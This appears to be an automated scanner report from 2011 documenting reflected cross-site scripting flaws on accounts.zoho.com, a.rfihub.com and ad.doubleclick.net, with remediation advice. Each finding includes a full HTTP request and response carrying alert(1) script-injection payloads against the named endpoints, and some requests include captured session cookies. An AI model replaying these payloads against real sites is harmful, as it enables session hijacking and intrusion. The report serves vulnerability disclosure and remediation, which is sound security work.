XSS, DORK Report, CWE-79, CAPEC-86, Multiple Hosts

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://a.rfihub.com/sed [pa parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.rfihub.com
Path:	/sed

Issue detail

The value of the pa request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 19cb2'><script>alert(1)</script>9b01dc2c9cc was submitted in the pa parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre259932283447419cb2'><script>alert(1)</script>9b01dc2c9cc&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1 HTTP/1.1
Host: a.rfihub.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: a1=1CAESEDwKxKPrWufjyLofYqzf4_4; t=1296740537347; a=c369013694478760033; o=1-BjMxrfcI6jt9; r=1296740536014; b="aAJ2iVhfw==AD809AAABLgBphCs=AD825AAABLgBphCs=AD736AAABLgBphCs=AD829AAABLgBphCs=AD748AAABLgBphCs=AD801AAABLgBphCs=AD773AAABLgBphCs=AD805AAABLgBphCs=AD747AAABLgBphCs="; m="aADZqFZGg==AI20472726AAABLgBphCw=AI20472701AAABLffM4Y0=AI20472701AAABLevCTs8="; g="aAD7LeeHw==A_a9RXWgJTWnNNS|14969|69553|60848|13007|1144|90136|306|32226|7317AAABLgCILYY=A_aFWCVjo6agoYc|16569|76934|70571|14534|1277|92574|445|32490|7755AAABLgBpfaE=A9aTqK7H67WacJ_|9542|45408|51494|13737|830|92405|445|29513|7557AAABLgBpdh8="; c="aAYKNo-Sw==AFd1144AB1AAABLgCILYI=AFv2383AB1AAABLgCILYI=AGu11341AB1AAABLgCILYI=AFc1144AB1AAABLgCILYI=AFl2383AB1AAABLgCILYI=AGt11341AB1AAABLgCILYI=AGb14969AB1AAABLgCILYI=AGa14969AB1AAABLgCILYI=AFd1277AB1AAABLgBpfZ4=AFv3000AB1AAABLgBpfZ4=AGu15506AB1AAABLgBpfZ4=AFc1277AB1AAABLgBpfZ4=AFl3000AB1AAABLgBpfZ4=AGt15506AB1AAABLgBpfZ4=AGb16569AB1AAABLgBpfZ4=AGa16569AB1AAABLgBpfZ4=AEd830AB1AAABLgBpdhw=AFv1265AB1AAABLgBpdhw=AFu5385AB1AAABLgBpdhw=AEc830AB1AAABLgBpdhw=AFl1265AB1AAABLgBpdhw=AFt5385AB1AAABLgBpdhw=AFb9542AB1AAABLgBpdhw=AFa9542AB1AAABLgBpdhw="; f="aADZiQHPw==AK1297087034AB4AAABLgCILYI=AK1296942555AB1AAABLffM4Y0=AK1296740536AB1AAABLevCTs4="; k="aAJBlvOUA==AGnmc809AN1288024309000AAABLgCILYI=AGnmc801AN1288021692000AAABLgCILYI=AGnmc829AN1288026445000AAABLgCILYI=AGnmc736AN1288018708000AAABLgCILYI=AGnmc805AN1288021876000AAABLgCILYI=AGnmc825AN1288026116000AAABLgCILYI=AGnmc773AN1288019600000AAABLgCILYI=AGnmc747AN1288024980000AAABLgCILYI=AGnmc748AN1288024901000AAABLgCILYI="; s="aAEOLfHoQ==AE9479AN1294103956000AAABLgCILYI=AE9438AN1273618082000AAABLgBpdhw=AF12446AN1285279980000AAABLgBpdhw=AE8438AN1275963655000AAABLgBpdhw="; e=cb

Response

HTTP/1.1 200 OK
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: g="aAElhzkBQ==A_a2pwDXuoO-PeR|15705|73433|68086|14121|1243|92574|445|32521|7792AAABLgq3o_o=A_a9RXWgJTWnNNS|14969|69553|60848|13007|1144|90136|306|32226|7317AAABLgCILYY=A_aFWCVjo6agoYc|16569|76934|70571|14534|1277|92574|445|32490|7755AAABLgBpfaE=A9aTqK7H67WacJ_|9542|45408|51494|13737|830|92405|445|29513|7557AAABLgBpdh8=";Path=/;Domain=.rfihub.com;Expires=Fri, 10-Aug-12 13:58:50 GMT
Set-Cookie: c="aAfAlZ4YQ==AFd1243AB1AAABLgq3o_Y=AFv2946AB1AAABLgq3o_Y=AGu14941AB1AAABLgq3o_Y=AFc1243AB1AAABLgq3o_Y=AFl2946AB1AAABLgq3o_Y=AGt14941AB1AAABLgq3o_Y=AGb15705AB1AAABLgq3o_Y=AGa15705AB1AAABLgq3o_Y=AFd1144AB1AAABLgCILYI=AFv2383AB1AAABLgCILYI=AGu11341AB1AAABLgCILYI=AFc1144AB1AAABLgCILYI=AFl2383AB1AAABLgCILYI=AGb14969AB1AAABLgCILYI=AGa14969AB1AAABLgCILYI=AFd1277AB1AAABLgBpfZ4=AFv3000AB1AAABLgBpfZ4=AGu15506AB1AAABLgBpfZ4=AFc1277AB1AAABLgBpfZ4=AFl3000AB1AAABLgBpfZ4=AGt15506AB1AAABLgBpfZ4=AGb16569AB1AAABLgBpfZ4=AGa16569AB1AAABLgBpfZ4=AEd830AB1AAABLgBpdhw=AFv1265AB1AAABLgBpdhw=AFu5385AB1AAABLgBpdhw=AEc830AB1AAABLgBpdhw=AFl1265AB1AAABLgBpdhw=AFt5385AB1AAABLgBpdhw=AFb9542AB1AAABLgBpdhw=AFa9542AB1AAABLgBpdhw=";Path=/;Domain=.rfihub.com;Expires=Fri, 10-Aug-12 13:58:50 GMT
Set-Cookie: f="aAE82cUpg==AK1297259930AB1AAABLgq3o_Y=AK1297087034AB4AAABLgCILYI=AK1296942555AB1AAABLffM4Y0=AK1296740536AB1AAABLevCTs4=";Path=/;Domain=.rfihub.com;Expires=Fri, 10-Aug-12 13:58:50 GMT
Set-Cookie: s="aAE-DNNhg==AE9479AN1294103956000AAABLgq3o_Y=AF12446AN1285279980000AAABLgq3o_Y=AE9438AN1273618082000AAABLgBpdhw=AE8438AN1275963655000AAABLgBpdhw=";Path=/;Domain=.rfihub.com;Expires=Fri, 10-Aug-12 13:58:50 GMT
Set-Cookie: e=cb;Path=/;Domain=.rfihub.com;Expires=Fri, 10-Aug-12 13:58:50 GMT
Content-Length: 2495

<html><body><span id="__rfi" style="height:0px; width:0px"><IFRAME SRC="http://ad.doubleclick.net/adi/N3740.270604.B3/B5123509.61;sz=728x90;pc=[TPAS_ID];ord=1297259930614;click=http://a.rfihub.com/aci
...[SNIP]...
border=0 width=0 height=0 src='http://a.rfihub.com/tk.gif?rb=445&re=19969&aa=15705,73433,14121,68086,1243,14941,2pwDXuoO-PeR,http%3A%2F%2Frocketfuelinc.com,776,2946,32521,1879,7792&pa=ppre259932283447419cb2'><script>alert(1)</script>9b01dc2c9cc&id=&ra=2599306180.2252382552959169'>
...[SNIP]...

1.2. https://accounts.zoho.com/login [serviceurl parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://accounts.zoho.com
Path:	/login

Issue detail

The value of the serviceurl request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ed7ba'><a%20b%3dc>0cf1f1b2316 was submitted in the serviceurl parameter. This input was echoed as ed7ba'><a b=c>0cf1f1b2316 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /login?service_language=en&hide_signup=true&servicename=ZohoDiscussions&serviceurl=http://forum.jquery.comed7ba'><a%20b%3dc>0cf1f1b2316 HTTP/1.1
Host: accounts.zoho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Set-Cookie: iamcsr=a0ec328f-8bec-4c46-a791-8964eb816737; Path=/
Set-Cookie: JSESSIONID=CB4051B3AB16743E7C94E52DB96587FE; Path=/; Secure
P3P: CP="CAO PSA OUR"
Set-Cookie: IAMAGENTTICKET=; Domain=.zoho.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Date: Wed, 09 Feb 2011 13:26:59 GMT
Connection: close
Server: ZWS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1.dtd">

<html>
<head>
<title>Zoho Accounts</title>
<style type="text
...[SNIP]...
<input name="serviceurl" value='http://forum.jquery.comed7ba'><a b=c>0cf1f1b2316' type="hidden">
...[SNIP]...

1.3. https://accounts.zoho.com/login [serviceurl parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://accounts.zoho.com
Path:	/login

Issue detail

The value of the serviceurl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3ac40'%3b70efc06911b was submitted in the serviceurl parameter. This input was echoed as 3ac40';70efc06911b in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /login?service_language=en&hide_signup=true&servicename=ZohoDiscussions&serviceurl=http://forum.jquery.com3ac40'%3b70efc06911b HTTP/1.1
Host: accounts.zoho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Set-Cookie: iamcsr=77dab029-8f0e-499c-8d04-0838b882f244; Path=/
Set-Cookie: JSESSIONID=2A2C97CEE6A9253EB52A572CA0CFC694; Path=/; Secure
P3P: CP="CAO PSA OUR"
Set-Cookie: IAMAGENTTICKET=; Domain=.zoho.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Date: Wed, 09 Feb 2011 13:27:03 GMT
Connection: close
Server: ZWS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1.dtd">

<html>
<head>
<title>Zoho Accounts</title>
<style type="text
...[SNIP]...
://")==0){iurl=iurl.replace("http://", "https://");window.location.href=iurl;}
}

var enableReload = true;
var serviceurl = 'http://forum.jquery.com3ac40';70efc06911b';
var servicename ='ZohoDiscussions';
var domain_label='null';
var domain_suffix='null';
var partner_domain='null';
var hidesecure = 'null';
...[SNIP]...

1.4. https://accounts.zoho.com/register [css parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://accounts.zoho.com
Path:	/register

Issue detail

The value of the css request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bca76"><a%20b%3dc>2982c3121fe was submitted in the css parameter. This input was echoed as bca76"><a b=c>2982c3121fe in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /register?service_language=en&servicename=ZohoDiscussions&serviceurl=http%3A%2F%2Fdiscussions.zoho.com%2FforumHome.do%3FforumGroupURL%3Djquery%26referrer%3DsignUp%26forumGroupId%3D14737000000003003&showheader=false&showGoogleYahoo=false&css=http://discussions.zoho.com/styles/iamregister.cssbca76"><a%20b%3dc>2982c3121fe HTTP/1.1
Host: accounts.zoho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Set-Cookie: iamcsr=c5977962-a28d-4995-a591-f519e883d6a5; Path=/
P3P: CP="CAO PSA OUR"
Set-Cookie: rtk=1297258030432; Domain=.zoho.com; Path=/
Set-Cookie: JSESSIONID=801D3E9A0899D0D113269D9B7DA9CD76; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Date: Wed, 09 Feb 2011 13:27:09 GMT
Connection: close
Server: ZWS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1.dtd">

<html>
<head>
<title>Create New Account</title>
<script type="text
...[SNIP]...
<link href="http://discussions.zoho.com/styles/iamregister.cssbca76"><a b=c>2982c3121fe" type="text/css" rel="stylesheet" />
...[SNIP]...

1.5. https://accounts.zoho.com/register [serviceurl parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://accounts.zoho.com
Path:	/register

Issue detail

The value of the serviceurl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0e39'%3b8e066d4099 was submitted in the serviceurl parameter. This input was echoed as a0e39';8e066d4099 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /register?service_language=en&servicename=ZohoDiscussions&serviceurl=http%3A%2F%2Fdiscussions.zoho.com%2FforumHome.do%3FforumGroupURL%3Djquery%26referrer%3DsignUp%26forumGroupId%3D14737000000003003a0e39'%3b8e066d4099&showheader=false&showGoogleYahoo=false&css=http://discussions.zoho.com/styles/iamregister.css HTTP/1.1
Host: accounts.zoho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Set-Cookie: iamcsr=d1ac3184-af9a-4c9a-b6f3-0bcde1493894; Path=/
P3P: CP="CAO PSA OUR"
Set-Cookie: rtk=1297258025823; Domain=.zoho.com; Path=/
Set-Cookie: JSESSIONID=AAA8FA9883A6924EB93D1CBD72502D9A; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Date: Wed, 09 Feb 2011 13:27:04 GMT
Connection: close
Server: ZWS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1.dtd">

<html>
<head>
<title>Create New Account</title>
<script type="text
...[SNIP]...
var validChars = /^[A-Za-z0-9_\.]+$/;
var onlyNumbers = /^[0-9]+$/
var serviceurl = 'http://discussions.zoho.com/forumHome.do?forumGroupURL=jquery&referrer=signUp&forumGroupId=14737000000003003a0e39';8e066d4099';
var servicename ='ZohoDiscussions';
var partner_domain = 'null';
var blockedEmailDomain = '@zoho.com';
var csrfParam = 'iamcsrcoo=d1ac3184-af9a-4c9a-b6f3-0bcde1493894';

function de(
...[SNIP]...

1.6. https://accounts.zoho.com/register [serviceurl parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://accounts.zoho.com
Path:	/register

Issue detail

The value of the serviceurl request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a8b37'><a%20b%3dc>27f14c732a9 was submitted in the serviceurl parameter. This input was echoed as a8b37'><a b=c>27f14c732a9 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /register?service_language=en&servicename=ZohoDiscussions&serviceurl=http%3A%2F%2Fdiscussions.zoho.com%2FforumHome.do%3FforumGroupURL%3Djquery%26referrer%3DsignUp%26forumGroupId%3D14737000000003003a8b37'><a%20b%3dc>27f14c732a9&showheader=false&showGoogleYahoo=false&css=http://discussions.zoho.com/styles/iamregister.css HTTP/1.1
Host: accounts.zoho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Set-Cookie: iamcsr=990090bc-9688-4b39-b67b-38ae0c2f2279; Path=/
P3P: CP="CAO PSA OUR"
Set-Cookie: rtk=1297258021715; Domain=.zoho.com; Path=/
Set-Cookie: JSESSIONID=485D2FB98BA6B08CBC3552D5F7C106A2; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Date: Wed, 09 Feb 2011 13:27:01 GMT
Connection: close
Server: ZWS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1.dtd">

<html>
<head>
<title>Create New Account</title>
<script type="text
...[SNIP]...
<input name="serviceurl" value='http://discussions.zoho.com/forumHome.do?forumGroupURL=jquery&referrer=signUp&forumGroupId=14737000000003003a8b37'><a b=c>27f14c732a9' type="hidden">
...[SNIP]...

1.7. http://ad.doubleclick.net/adi/N3740.270604.B3/B5123509.61 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N3740.270604.B3/B5123509.61

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 47f95"-alert(1)-"7b5fb722fd8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N3740.270604.B3/B5123509.61;sz=728x90;pc=[TPAS_ID];ord=1297259897490;click=http://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSx0RE1pYldadEtCXzEscCw3NzYsMjk0NiwzMjUyMSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5&47f95"-alert(1)-"7b5fb722fd8=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 09 Feb 2011 13:59:22 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6103

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,082 Template Name = 2. Banner Creative (Flash) - In Pa
...[SNIP]...
okv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSx0RE1pYldadEtCXzEscCw3NzYsMjk0NiwzMjUyMSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5&47f95"-alert(1)-"7b5fb722fd8=1http%3a%2f%2ft.mookie1.com/t/v1/clk%3FmigAgencyId%3D188%26migSource%3Dadsrv2%26migTrackDataExt%3D2426847%3B58824910%3B234278619%3B39992677%26migRandom%3D627943%26migTrackFmtExt%3Dclient%3Bio%3Bad%3Bc
...[SNIP]...

1.8. http://ad.doubleclick.net/adi/N3740.270604.B3/B5123509.61 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N3740.270604.B3/B5123509.61

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e0038"-alert(1)-"d9468d0f92a was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N3740.270604.B3/B5123509.61;sz=728x90;pc=[TPAS_ID];ord=1297259897490;click=http://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSx0RE1pYldadEtCXzEscCw3NzYsMjk0NiwzMjUyMSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5e0038"-alert(1)-"d9468d0f92a HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 09 Feb 2011 13:59:09 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6015

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,082 Template Name = 2. Banner Creative (Flash) - In Pa
...[SNIP]...
Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://a.rfihub.com/aci/124_0_YWE9MTU3MDUsNzM0MzMsMTQxMjEsNjgwODYsMTI0MywxNDk0MSx0RE1pYldadEtCXzEscCw3NzYsMjk0NiwzMjUyMSwxODc5LDc3OTImcmI9NDQ1JnJlPTE5OTY5e0038"-alert(1)-"d9468d0f92ahttp://t.mookie1.com/t/v1/clk?migAgencyId=188&migSource=adsrv2&migTrackDataExt=2426847;58824910;234278619;39992915&migRandom=614224&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.universi
...[SNIP]...

1.9. http://ad.doubleclick.net/adi/N553.martinimedianet/B4970757.3 [campID parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.martinimedianet/B4970757.3

Issue detail

The value of the campID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d9f05"-alert(1)-"c3c6134ad58 was submitted in the campID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090d9f05"-alert(1)-"c3c6134ad58&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Wed, 09 Feb 2011 13:58:30 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7280

